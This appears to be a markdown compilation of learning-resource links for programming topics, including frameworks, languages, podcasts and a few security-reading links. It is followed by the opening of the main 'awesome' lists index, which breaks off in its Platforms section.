#100DaysofCode Experience — The Good, The Bad and The Ugly](https://code.likeagirl.io/my-100daysofcode-experience-the-good-the-bad-and-the-ugly-ee1263131f15) - [Advice From A 19 Year Old Girl & Software Developer](https://medium.com/@lydiahallie/advice-from-a-19-y-o-girl-software-developer-88737bcc6be5) - [Becoming an intermediate developer, keeping up with the Wars](https://hackernoon.com/becoming-intermediate-developer-keeping-up-with-the-wars-87bb518b40da) - [How to relocate to Germany: IT Specialists sharing their experience](https://zerotoonesearch.com/relocation-to-germany-success-stories/) ## Django - [Django Girls](https://tutorial.djangogirls.org/) - [Official Django Tutorials](https://docs.djangoproject.com/en/3.0/intro/tutorial01/) - [Classy Class-Based Views](https://ccbv.co.uk/) - [How To Tango With Django 1.7](https://www.tangowithdjango.com/book17/) ## Elixir - [Elixir School](https://elixirschool.com/) - [Learn Elixir in Y minutes](https://learnxinyminutes.com/docs/elixir) - [Mocks and Explicit Contracts](https://blog.plataformatec.com.br/2015/10/mocks-and-explicit-contracts/) - [Elixir Forum](https://elixirforum.com/) - [Joy of Elixir](https://joyofelixir.com/toc.html) ## Flutter - [Introduction to Flutter Development Using Dart](https://www.appbrewery.co/p/intro-to-flutter) - [Flutter Course - Full Tutorial for Beginners](https://www.youtube.com/watch?v=pTJJsmejUOQ) - [Flutter: Learning Resources for Beginners](https://dev.to/nitya/flutter-learning-resources-for-beginners-5719) - [Flutter Tutorial by The Net Ninja](https://www.youtube.com/watch?v=1ukSR1GRtMU) - [Example Flutter theme](https://startflutter.com/) - [Example Flutter UI](https://fluttersourcecode.com/) - [The Complete Free Flutter Course by Ovidius Mazuru](https://www.youtube.com/channel/UCJW25d8mW8ciz0DQC-5XNsQ/featured) - [Flutter Documentation](https://flutter.dev/docs) ## Flask - [Flask Official Documentation](https://flask.palletsprojects.com/en/1.1.x/) - [Flask Tutorial](https://www.tutorialspoint.com/flask/index.htm) - [Python Flask Tutorials](https://coreyms.com/development/python/python-flask-tutorials-full-series) - [The Flask Mega Tutorial by Miguel Grinberg](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world) - [Data Structures For Python Developers with Flask](https://www.youtube.com/watch?v=74NW-84BqbA) ## Git and GitHub - [The official github guides](https://guides.github.com/) - [GitHub Learning Lab](https://lab.github.com/) - [GitHub Training](https://www.youtube.com/user/GitHubGuides) - [Git and GitHub by freecodecamp.org](https://www.youtube.com/watch?v=vR-y_2zWrIE&list=PLWKjhJtqVAbkFiqHnNaxpOPhh9tSWMXIF) - [Get to know Git by scotch.io (Premium content)](https://scotch.io/courses/get-to-know-git) - [Git and GitHub for beginners (Traversy Media)](https://www.youtube.com/watch?v=SWYqp7iY_Tc) - [Git and GitHub commands (a list)](https://github.com/joshnh/Git-Commands) - [Pro Git](https://git-scm.com/book/en/v2) - [Git In The Trenches](https://cbx33.github.io/gitt/intro.html) - [How to Write a Git Commit Message](https://chris.beams.io/posts/git-commit/) - [Git Hooks](https://githooks.com/) ## Golang - [1000+ Go exercises, examples, and quizzes](https://github.com/inancgumus/learngo) - [A Tour of Go](https://tour.golang.org/welcome/1) - [Dasar Pemrograman Golang](https://dasarpemrogramangolang.novalagung.com/) - [Go by Example](https://gobyexample.com/) - [Go Crash Course](https://www.youtube.com/watch?v=SqrbIlUwR0U) - [Go for Javascript Developers](https://www.pazams.com/Go-for-Javascript-Developers/) - [Golang Tutorials](https://golangtutorials.blogspot.com/2011/05/table-of-contents.html) - [Learn Go in Y minutes](https://learnxinyminutes.com/docs/go/) - [In-depth and Illustrated Go Tutorials](https://blog.learngoprogramming.com) - [Basic Middleware in Go](https://medium.com/@budimanokky93/basic-middleware-in-golang-9536faa41874) ## GraphQL - [What is GraphQL?](https://medium.freecodecamp.org/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf) - [Intro to GraphQL](https://blog.apollographql.com/the-basics-of-graphql-in-5-links-9e1dc4cac055) - [GraphQL Explained](https://blog.apollographql.com/graphql-explained-5844742f195e) - [GraphQL vs REST overview](https://philsturgeon.uk/api/2017/01/24/graphql-vs-rest-overview/) - [From REST to GraphQL](https://0x2a.sh/from-rest-to-graphql-b4e95e94c26b) - [Authorization in GraphQL](https://blog.apollographql.com/authorization-in-graphql-452b1c402a9) - [Authentication and Authorization in GraphQL](https://speakerdeck.com/unicodeveloper/authentication-and-authorization-in-graphql?slide=6) - [HowToGraphQL](https://www.howtographql.com) - [GraphQL with React Tutorial](https://www.thenetninja.co.uk/courses/graphql-node-react-tutorial) ## Hugo - [Hugo in Action](https://www.manning.com/books/hugo-in-action) ## Hacking - [Awesome Hacking](https://github.com/NetanMangal/Awesome-Hacking) ## InfoSec - [awesome-infosec](https://github.com/onlurking/awesome-infosec) - [SecLists](https://github.com/danielmiessler/SecLists) - [OWASP Top 10](https://www.owasp.org/index.php/Top_10-2017_Top_10) - [Beggining with Reverse Engineering](https://beginners.re/) - [CTF field guide](https://trailofbits.github.io/ctf/) - [Metasploit unleashed](https://www.offensive-security.com/metasploit-unleashed/) - [Infosec Institute](https://resources.infosecinstitute.com/) ## Ionic - [Ionic Tutorials & Courses](https://hackr.io/tutorials/learn-ionic) - [Learn Ionic Fast](https://ionicacademy.com/) - [Ionic Tutorial](https://www.tutorialspoint.com/ionic/index.htm) ## JavaScript - [FreeCodeCamp](https://freecodecamp.com) - [The Odin Project](https://www.theodinproject.com/) - [Fun Fun Function](https://www.youtube.com/channel/UCO1cgjhGzsSYb1rsB4bFe4Q) - [The Coding Train](https://www.youtube.com/user/shiffman/videos) - [CodeSchool](https://www.codeschool.com/learn/javascript) - [Egghead](https://egghead.io) - [Ally.io](https://allyjs.io/) - [How to code in JavaScript Digital Ocean](https://www.digitalocean.com/community/tutorial_series/how-to-code-in-javascript) - [Codeburst.io](https://codeburst.io/) - [Hackernoon](https://hackernoon.com/) - [YDKJS](https://github.com/getify/You-Dont-Know-JS) - [JavaScript in 14 minutes](https://jgthms.com/javascript-in-14-minutes/) - [Scotch.io](https://scotch.io) - [ES6 Overview in 350 Bullet Points](https://github.com/bevacqua/es6) - [Setup Continuous Integration with Travis CI in Your Nodejs App](https://www.giftegwuenu.com/setup-continuous-integration-with-travis-ci-in-your-nodejs-app/) - [Javascript 30 by Wes Bos](https://javascript30.com/) - [ES6 for Everyone by Wes Bos](https://es6.io/) - [Alligator.io Javascript page](https://alligator.io/js/) - [JavaScript.info](https://javascript.info/) - [Object Oriented JavaScript](https://www.thenetninja.co.uk/courses/object-oriented-javascript-tutorial) - [Learn X in Y minutes: JavaScript](https://learnxinyminutes.com/docs/javascript/) - [CSX Structured JavaScript Learning Journey - Codesmith](https://csx.codesmith.io/) - [Dev.to JavaScript](https://dev.to/t/javascript) - [JavaScript Garden](https://bonsaiden.github.io/JavaScript-Garden/) - [Codecademy: Introduction to JavaScript](https://www.codecademy.com/learn/introduction-to-javascript) - [Eloquent JavaScript](https://eloquentjavascript.net/) - [Mozilla's JavaScript Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide) - [JavaScript for Cats](http://jsforcats.com/) - [Beginner JavaScript by Wes Bos](https://beginnerjavascript.com/) - [The Modern JavaScript Tutorial](https://javascript.info/) - [trekhleb/javascript-algorithms](https://github.com/trekhleb/javascript-algorithms) - [Beginner's Series to JavaScript](https://www.youtube.com/playlist?list=PLlrxD0HtieHhW0NCG7M536uHGOtJ95Ut2) - [learn-js](https://www.learn-js.org/) - [JavaScript Online](https://learnjavascript.online/) - [DevProjects - Free Real-World JavaScript Projects](https://www.codementor.io/projects/javascript) - [FullStack Open](https://fullstackopen.com/en/) - [JavaScript Tutorial](https://www.javascripttutorial.net/) - [Scaler Topics - JavaScript Tutorial](https://www.scaler.com/topics/javascript/) - [Learn Javascript The Hard Way](https://learnjsthehardway.com/) ## Java - [Scaler Topics](https://www.scaler.com/topics/java/) ## Kotlin - [Kotlin Coding Puzzles](https://github.com/igorwojda/kotlin-coding-puzzle) Set of programming challenges thats helps to improve whiteboard coding and problem-solving skills. - [Kotlin by Reddit](https://www.reddit.com/r/Kotlin/) - [Kotlin Academy](https://blog.kotlin-academy.com/) - [Kotlin by Hackr.io](https://hackr.io/tutorials/learn-kotlin) - [Kotlin for Android](https://antonioleiva.com/kotlin/) - [Programming Kotlin](https://www.packtpub.com/application-development/programming-kotlin) - [Kotlin bootcamp](https://developer.android.com/courses/kotlin-bootcamp/overview#lesson_1_get_started) - [DevProjects - Free Real-World Mobile Apps Projects](https://www.codementor.io/projects/mobile) ## Laravel [list-of-21-artisan-make-commands-with-parameters](https://quickadminpanel.com/blog/list-of-21-artisan-make-commands-with-parameters/) ## Machine Learning - [Fast.ai](https://course.fast.ai/) - [Andrew Ng’s Machine Learning course](https://www.coursera.org/learn/machine-learning) - [Kaggle](https://www.kaggle.com/) - [Topal](https://www.toptal.com/machine-learning/machine-learning-theory-an-introductory-primer) - [MonkeyLearn](https://monkeylearn.com/blog/gentle-guide-to-machine-learning/) - [An Introduction to Statistical Learning with Applications in R](https://www-bcf.usc.edu/~gareth/ISL/) - [Machine learning mastery](https://machinelearningmastery.com/blog/) - [Intro to Deep Learning with PyTorch](https://www.udacity.com/course/deep-learning-pytorch--ud188) - [MACHINE LEARNING - Teori, Studi Kasus dan Implementasi Menggunakan Python](https://ibnu.daqiqil.id/buku-machine-learning/) ## Malware Analysis - [Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code](https://www.amazon.com/Malware-Analysts-Cookbook-DVD-Techniques/dp/0470613033) - [Practical Malware Analysis](https://www.amazon.com/Practical-Malware-Analysis-Hands-Dissecting/dp/1593272901/ref=pd_sbs_14_t_0/136-7474712-7650215?_encoding=UTF8&pd_rd_i=1593272901&pd_rd_r=f8f8d7e2-f2b5-4ac7-91ce-e0355affe59a&pd_rd_w=a0873&pd_rd_wg=u2f3a&pf_rd_p=5cfcfe89-300f-47d2-b1ad-a4e27203a02a&pf_rd_r=6Q3PYAT9CC9304D9BFY4&psc=1&refRID=6Q3PYAT9CC9304D9BFY4) - [Exploit writing Tutorial](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) - [Shell code database](http://shell-storm.org/shellcode/) ## Markdown - [Learn Markdown in Y minutes](https://learnxinyminutes.com/docs/markdown/) - [Markdown Tutorial](https://www.markdowntutorial.com/) - [Markdown lessons](https://commonmark.org/help/tutorial/) - [Mastering Markdown](https://masteringmarkdown.com/) - [Markdown Cheat Sheet](https://markdownguide.org/cheat-sheet) - [Make a README](https://www.makeareadme.com/) ## NodeJS - [Learn Node by Wes Bos](https://learnnode.com/) - [Alligator.IO Node Page](https://alligator.io/nodejs/) - [The Art of Node](https://github.com/maxogden/art-of-node) - [You don't know Node.js](https://github.com/azat-co/you-dont-know-node) - [The Node Way](https://thenodeway.io/) - [Teach Yourself Node.js In Ten Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps) - [Learn the Node.js Runtime Itself](https://medium.freecodecamp.org/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself-f9031fbd8b69) - [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - [Offline Installation of npm Packages](https://addyosmani.com/blog/using-npm-offline/) - [Using npm as a build tool](https://www.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/) - [How to Get Node.js Logging Right](https://blog.risingstack.com/node-js-logging-tutorial/) - [Node.js Testing with Jest](https://github.com/facebook/jest) - [Node.js Testing with Mocha](https://mochajs.org/) - [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors) - [Error Handling Best Practices in Node.js](https://goldbergyoni.com/checklist-best-practices-of-node-js-error-handling/) - [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/) - [13 Best Practices for Node.js Security](https://nodewebapps.com/2017/01/03/13-security-best-practices-for-your-web-application/) - [Node.js Production Checklist](https://goldbergyoni.com/checklist-best-practice-of-node-js-in-production/) - [Debugging Node.js Apps in Production](https://blog.risingstack.com/node-js-war-stories-solving-issues-in-production-2/) - [Node.js Performance Tips](https://www.smashingmagazine.com/2018/06/nodejs-tools-techniques-performance-servers/) - [Measuring HTTP Timings with Node.js](https://blog.risingstack.com/measuring-http-timings-node-js/) - [Advanced Node.js(videos)](https://onedrive.live.com/?authkey=%21ANbPcuk7XxY1hPY&id=9F66D67EBC33737F%2133343&cid=9F66D67EBC33737F) - [Node.js Interview Questions and Answers](https://blog.risingstack.com/node-js-interview-questions-and-answers-2017/) - [Tutorialspoint](https://www.tutorialspoint.com/nodejs/) - [A Roadmap for Node.js Security](https://nodesecroadmap.fyi/) - [Server-side Development with NodeJS, Express and MongoDB](https://www.coursera.org/learn/server-side-nodejs) - [Awesome Node.JS (A-Z) Youtube Lecture](https://www.youtube.com/watch?v=rSHL_lYY_Xc&list=PLatXnLy-YGQexU9sktggQbw7tq815yGbR) - [Nodejs.dev](https://nodejs.dev) - [Beginner's Series to Node.js](https://www.youtube.com/playlist?list=PLlrxD0HtieHje-_287YJKhY8tDeSItwtg) - [Build JavaScript applications with Node.js](https://docs.microsoft.com/learn/paths/build-javascript-applications-nodejs/?wt.mc_id=nodebeginner-ch9-cxa) - [DevProjects - Free Real-World Node.js Projects](https://www.codementor.io/projects/nodejs) ## PHP - [7 days challenge](https://www.guru99.com/php-tutorials.html) - [The right way](https://phptherightway.com/) - [In site learn](https://www.learn-php.org/) - [Complete macos PHP setup](https://getgrav.org/blog/macos-mojave-apache-multiple-php-versions) - [Laravel framework](https://laravel.com) - [Laracasts](https://laracasts.com/) - [PHP Tutorial](https://www.tutorialspoint.com/php/index.htm) - [DevProjects - Free Real-World PHP Projects](https://www.codementor.io/projects/php) - [Laravel Interview Questions](https://www.interviewbit.com/laravel-interview-questions/) ## PLSQL - [TechOnTheNet](https://www.techonthenet.com/oracle/index.php) - [Tutorials Point](https://www.tutorialspoint.com/plsql/) - [Oracle Database Development Guide](https://docs.oracle.com/database/121/ADFNS/toc.htm) ## Podcasts - [Behind the Tech](https://behindthetech.libsynpro.com/) - [CodeNewbie](https://www.codenewbie.org/podcast) - [Syntax](https://syntax.fm/) - [Software Engineering Daily](https://dev.to/sedaily) - [The Freecodecamp Podcast](https://freecodecamp.libsyn.com/) - [Indie Hackers](https://www.indiehackers.com/podcast) - [Rework](https://rework.fm/) - [Darknet Diaries](https://darknetdiaries.com) - [Developer Tea](https://spec.fm/podcasts/developer-tea) - [ForLoop Pod](https://podcast.forloop.africa/) - [Soft Skills Engineering](https://softskills.audio/) - [Free Code Camp](https://freecodecamp.libsyn.com/) - [Full Stack Radio](https://www.fullstackradio.com/) - [The Women in Tech Show](https://thewomenintechshow.com/) - [Front End Happy Hour](https://frontendhappyhour.com/) - [Laravel Podcast](https://www.laravelpodcast.com/) - [Laracast Snippet](https://laracasts.com/podcast) - [Pursuit Podcast](https://pursuit.tech/) - [Battle Tactics for Your Sexist Workplace](https://www.kuow.org/podcasts/battle-tactics/) - [Women in Tech](https://podcast.womenintechshow.com/episodes) - [Masters Of Scale](https://mastersofscale.com) - [Shop talk show](https://shoptalkshow.com) - [Hanselminutes](https://www.hanselminutes.com/)- Fresh Tech Talk from Fresh Faces - [This Week In Tech](https://twit.tv/shows/this-week-in-tech) - [JS Party](https://changelog.com/jsparty) - [My Life As A Software Engineer](https://anchor.fm/mylifeasasoftwareengineer/) - [The Cynical Developer](https://cynicaldeveloper.com/) ## PWA - [The Complete Guide to Progressive Web Apps](https://flaviocopes.com/what-is-a-progressive-web-app/) - [A Beginner's Guide to Service Workers](https://medium.com/samsung-internet-dev/a-beginners-guide-to-service-workers-f76abf1960f6) - [Progressive Web Application Codelab](https://codelabs.developers.google.com/codelabs/your-first-pwapp/#0) - [4 important points to know about Progressive Web Apps (PWA)](https://medium.com/@deepusnath/4-points-to-keep-in-mind-before-introducing-progressive-web-apps-pwa-to-your-team-8dc66bcf6011) - [PWA (Progressive Web App) Tutorial](https://www.thenetninja.co.uk/courses/progressive-web-app-tutorial) ## Python - [Learn Python the Hard Way](https://learnpythonthehardway.org/) - [CS50's Web Programming with Python and JavaScript](https://www.edx.org/course/cs50s-web-programming-with-python-and-javascript) - [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) - [Think Python 2nd Edition](https://greenteapress.com/wp/think-python-2e/) - [Python Tips](https://book.pythontips.com/en/latest/index.html) - [Inside The Python Virtual Machine](https://leanpub.com/insidethepythonvirtualmachine/read) - [CodingBat - Python](https://codingbat.com/python) - [Python for Fun](https://www.openbookproject.net/py4fun/) - [A Byte of Python](https://python.swaroopch.com/) - [Learn Python 3 By Code Academy](https://www.codecademy.com/learn/learn-python-3) - [ Python tutorials for beginners ](https://www.youtube.com/watch?v=aqvDTCpNRek&list=PLu0W_9lII9agICnT8t4iYVSZ3eykIAOME) - [ Python OOP](https://www.programiz.com/python-programming/object-oriented-programming) - [Full-Stack Python](https://www.fullstackpython.com/table-of-contents.html) - [Python Tutorials](https://realpython.com/) - [Algorithms and Data Structures with Python](https://jooseph.com/collections/802?utm_source=reddit.com&utm_medium=referral&utm_campaign=r%2Flearnprogramming) - [Python Tutorial - Tutlane](https://www.tutlane.com/tutorial/python) - [DevProjects - Free Real-World Python Projects](https://www.codementor.io/projects/python) - [ItsMyCode - Learn Python Programming](https://itsmycode.com/category/python/) - [Scaler Topics - Python Tutorials](https://www.scaler.com/topics/python/) ## ReactJS - [React for Beginners by Wes Bos](https://reactforbeginners.com/) - [Learn React](https://scrimba.com/course/glearnreact) - [The React BootCamp](https://scrimba.com/course/greact) - [Fullstack Advanced React and GraphQL by Wes Bos](https://advancedreact.com/) - [Alligator.IO React Page](https://alligator.io/react/) - [Egghead.io](https://egghead.io/browse/frameworks/react) - [Frontend Masters](https://frontendmasters.com/learn/react/) - [Roadmap to becoming a React developer](https://github.com/adam-golab/react-developer-roadmap) - [fullstackreact](https://www.fullstackreact.com/) - [The Road to learn React](https://roadtoreact.com/) - [React Fundamentals by Tyler Mcginnis](https://tylermcginnis.com/courses/react-fundamentals/) - [Hooks Guide](https://www.hooks.guide/) - [Overreacted by Dan Abramov](https://overreacted.io/) - [React & Firebase](https://www.thenetninja.co.uk/courses/react-redux-firebase-app-tutorial) - [React Hooks & Context Tutorial](https://www.thenetninja.co.uk/courses/react-context-hooks-tutorial) - [React & Redux Complete Tutorial](https://www.thenetninja.co.uk/courses/react-redux-complete-tutorial) - [React Tutorials by React Community](http://reactjs.co/) - [Pure React](https://www.daveceddia.com/pure-react/) - [React Handbook](https://www.flaviocopes.com/page/react-handbook/) - [React Enlightenment](https://www.reactenlightenment.com) - [React Hooks in Action](https://www.manning.com/books/react-hooks-in-action) - [Develop Live Project on React & Spring Boot with Payment Integration & BarCode Scanner](https://www.manning.com/liveproject/online-booking-systems-for-a-salon-and-day-spa-using-spring-boot-and-reactjs?a_aid=muthuishere&a_bid=4f5b6535) - [Epic React by Kent C Dodds](https://epicreact.dev/) ## React Native - [InstaMobile Blog](https://www.instamobile.io/blog/) - [BootDey React Native Snippets](https://www.bootdey.com/react-native-snippets) - [Awesome React Native](https://www.awesome-react-native.com/) - [UI Libraries](https://blog.bitsrc.io/11-react-native-component-libraries-you-should-know-in-2018-71d2a8e33312) - [The State Of React Native](https://www.youtube.com/watch?v=plTTFqbEiEE) - [DevProjects - Free Real-World React Native Projects](https://www.codementor.io/projects/react-native) ## Ruby - [Learn Ruby the Hard Way](https://learnrubythehardway.org/book/) - [The Ruby Reference](https://rubyreferences.github.io/rubyref/) - [Ada Developers Academy Jump Start](https://github.com/Ada-Developers-Academy/jump-start) - [App Academy Open](https://open.appacademy.io/) - [DevProjects - Free Real-World Ruby Projects](https://www.codementor.io/projects/ruby) ## Ruby on Rails - [Official Rails Website](https://rubyonrails.org/) - [David Heinemeier Hansson](https://www.youtube.com/channel/UCUkM9uMpWatT7gVWShgtKFw) - [GoRails](https://gorails.com/) - [Rails Screen Casts](https://railscasts.com/) - [Agile Web Development with Rails 5](https://books.google.co.za/books/about/Agile_Web_Development_with_Rails_5.html?id=ySyjDAEACAAJ&source=kp_book_description&redir_esc=y) - [Ruby on Rails Tutorial: Learn Web Development with Rails](https://www.goodreads.com/book/show/13705557-ruby-on-rails-tutorial) ## Rust - [Rust by Example](https://doc.rust-lang.org/stable/rust-by-example/index.html) - [The Rust Programming Language (Book)](https://doc.rust-lang.org/book/) ## Serverless - [Serverless](https://serverless.com/) - [genezio](https://genez.io/?utm_source=awesome-serverless-github&utm_medium=website&utm_campaign=awesome-serverless) - [Awesome Serverless Papers](https://github.com/penghuima/awesome-serverless-papers) - [The Power of Serverless](https://thepowerofserverless.info/resources.html) - [Awesome Serverless](https://github.com/anaibol/awesome-serverless) - [A Cloud Guru](https://acloud.guru/courses) - [AWS Fundamentals: Building Serverless Applications](https://www.coursera.org/learn/aws-fundamentals-building-serverless-applications) - [DynamoDB Book](https://www.dynamodbbook.com/) - [The Serverless Handbook](https://serverlesshandbook.dev/) ## Sick Picks - [100 Tips to Becoming a better Developer](https://blog.thefirehoseproject.com/posts/100-essential-lessons-for-those-who-want-to-learn-to-code-in-2017/) - [Super Cool Illustrations](https://undraw.co/illustrations) - [A coder's guide to APIs](https://www.creativebloq.com/features/a-coders-guide-to-apis) - [Why Coding Style Matters](https://www.smashingmagazine.com/2012/10/why-coding-style-matters/) - [Google Styleguide](https://google.github.io/styleguide/htmlcssguide.html) - [Github Styleguide](https://primer.github.io/) - [Want To Become A Multi-Millionaire? Do These 15 Things Immediately.](https://journal.thriveglobal.com/want-to-become-a-multi-millionaire-do-these-15-things-immediately-e1e779a6978f?inf_contact_key=9c2f4a1eb788da91821800290cd23e49be1b7aeb634626a9fe8293d8a0fdb204) - [Interruption is Not Collaboration](https://m.signalvnoise.com/interruption-is-not-collaboration-8dfb20731569) - [Emoji Cheat Sheet](https://www.webpagefx.com/tools/emoji-cheat-sheet/) - [UiGradient](https://uigradients.com) - [FlatUIColor Picker](https://www.flatuicolorpicker.com/) - [The Stocks](https://thestocks.im/) - [Front-End Developer Handbook 2018](https://frontendmasters.gitbooks.io) - [Everything about Static Web Applications](https://www.thenewdynamic.org/articles/) - [Array Explorer](https://sdras.github.io/array-explorer/) - [Object Explorer](https://sdras.github.io/object-explorer/) - [Create VSCode Theme Extension](https://css-tricks.com/creating-a-vs-code-theme/) - [30 Seconds of Interviews](https://30secondsofinterviews.org/) - [Andela Learning Digest](https://learning-digest.andela.com/) - [DevTube](https://dev.tube/) - [Make Front-End Shit Again](https://makefrontendshitagain.party/) - [Learn algorithms from Tushar Roy for jobs](https://github.com/mission-peace) - [Refactoring, write awesome code](https://sourcemaking.com/refactoring) - [Remove Background from Images](https://www.remove.bg/) - [Creative Coding Experiments Blog](https://tympanus.net/codrops/) - [CanIUse](https://caniuse.com/) - [Clean Code JavaScript](https://github.com/ryanmcdermott/clean-code-javascript) - [Cool Tech Confrence Talks](https://www.youtube.com/channel/UCtxCXg-UvSnTKPOzLH4wJaQ) ## Startups - [Stripe Atlas](https://stripe.com/atlas/guides) - [YCombinator Startup school](https://www.startupschool.org/?utm_source=yc&utm_campaign=ycdc_header) - [Stanford CS183F Lectures with YCombinator](https://youtu.be/5ZXU84_sGXo?list=PLoROMvodv4rNpMrTeeh-627Lajh6uSUgY) ## Svelte - [Svelte and Sapper in Action (Book)](https://www.manning.com/books/svelte-and-sapper-in-action) - [The Svelte Handbook (Book)](https://flaviocopes.com/page/ebooks/) - [Web Development Simplified with Svelte](https://objectcomputing.com/resources/publications/sett/july-2019-web-dev-simplified-with-svelte) - [Rethinking Reactivity](https://www.youtube.com/watch?v=AdNJ3fydeao) - [The Return of 'Write Less, Do More'](https://www.youtube.com/watch?v=BzX4aTRPzno) - [Simplify Web App Development with Svelte](https://www.youtube.com/watch?v=PXOE7oZyaBA) ## Swift - [iOS and Swift for Beginners](https://www.raywenderlich.com/ios/paths/learn) - [The Complete iOS App Development Bootcamp](https://www.udemy.com/course/ios-13-app-development-bootcamp/) - [Become an iOS Developer](https://www.udacity.com/course/ios-developer-nanodegree--nd003) - [How to learn Swift programming for free in 2020](https://www.hackingwithswift.com/articles/2/how-to-learn-swift-programming-for-free) - [Learn Swift - Tutlane](https://www.tutlane.com/tutorial/swift) - [DevProjects - Free Read-World Swift Projects](https://www.codementor.io/projects/swift) ## TensorFlow - [Introduction for TensorFlow for Deep Learning](https://www.udacity.com/course/intro-to-tensorflow-for-deep-learning--ud187) ## Twilio - [Twilio Official Tutorial](https://www.twilio.com/docs/tutorials) ## Typescript - [Typescript Deep Dive (Book)](https://github.com/basarat/typescript-book) - [Typescript Wiki](https://github.com/Microsoft/TypeScript/wiki) - [Typescript Handbook](https://github.com/Microsoft/TypeScript-Handbook/blob/master/pages) - [Complete Typing Guide](https://blog.angular-university.io/typescript-2-type-system-how-do-type-definitions-work-in-npm-when-to-use-types-and-why-what-are-compiler-opt-in-types/) - [Starter Template for Typescript and Node.js](https://github.com/Microsoft/TypeScript-Node-Starter) - [Typescript Debugging in VSCode](https://fettblog.eu/typescript-node-visual-studio-code/) - [Using Jest for Typescript Testing](https://github.com/kulshekhar/ts-jest) - [Typescript Exercises](https://github.com/mdevils/typescript-exercises) ## Voice - [Alexa Skills Kit Tutorials](https://developer.amazon.com/en-US/alexa/alexa-skills-kit/tutorials) - [Build Actions for the Google Assistant](https://codelabs.developers.google.com/codelabs/actions-1/) ## Vue - [Egghead.io](https://egghead.io/browse/frameworks/vue) - [Front End Masters](https://frontendmasters.com/courses/vue/) - [Routing and Route Protection in Server-Rendered Vue Apps Using Nuxt.js](https://css-tricks.com/routing-route-protection-server-rendered-vue-apps-using-nuxt-js/#comment-1615086) - [Guide to Learning Vue](https://css-tricks.com/guides/vue/) - [Made with Vue.js](https://madewithvuejs.com/) - [Awesome Vue](https://github.com/vuejs/awesome-vue) - [4 Awesome Things You Can Do with the Vue.js CLI](https://www.telerik.com/blogs/4-awesome-things-you-can-do-with-the-vuejs-cli) - [Vue.js Cookbook](https://vuejs.org/v2/cookbook/) - [From Zero to Hero with Vue - But first, why Vue?](https://medium.freecodecamp.org/from-zero-to-hero-with-vue-why-vue-8c7e981b494) - [Vue Mastery - Multiple Free Classes](https://www.vuemastery.com/) - [Laravel Cast - Learn Vue 2 Step by Step](https://laracasts.com/series/learn-vue-2-step-by-step) - [Vue Cheatsheet](https://marozed.ma/vue-cheatsheet/) - [Vue School](https://vueschool.io/) - [Vue Curated](https://curated.vuejs.org/) - [Vue Screencasts](https://www.youtube.com/channel/UCJasK7cAgRz1RGMJCoRLXXQ/) - [DevProjects - Free Real-World Vue Projects](https://www.codementor.io/projects/vue) ## Women in Tech - [Vue Vixens](https://vuevixens.org/) - [PyLadies](https://www.pyladies.com/) - [Girls Who Code](https://girlswhocode.com/) - [Women Who Code](https://www.womenwhocode.com) - [Ladies of Code](https://www.ladiesofcode.com/) - [Women in Tech](https://www.womenintech.co.uk/) - [Tech Ladies](https://www.hiretechladies.com/) - [Women TechMakers](https://www.womentechmakers.com/) - [Ladybug Podcast - Women in Tech](https://ladybug.dev/) ## XML - [W3](https://www.w3.org/XML)

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> <br> <br> </p> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - 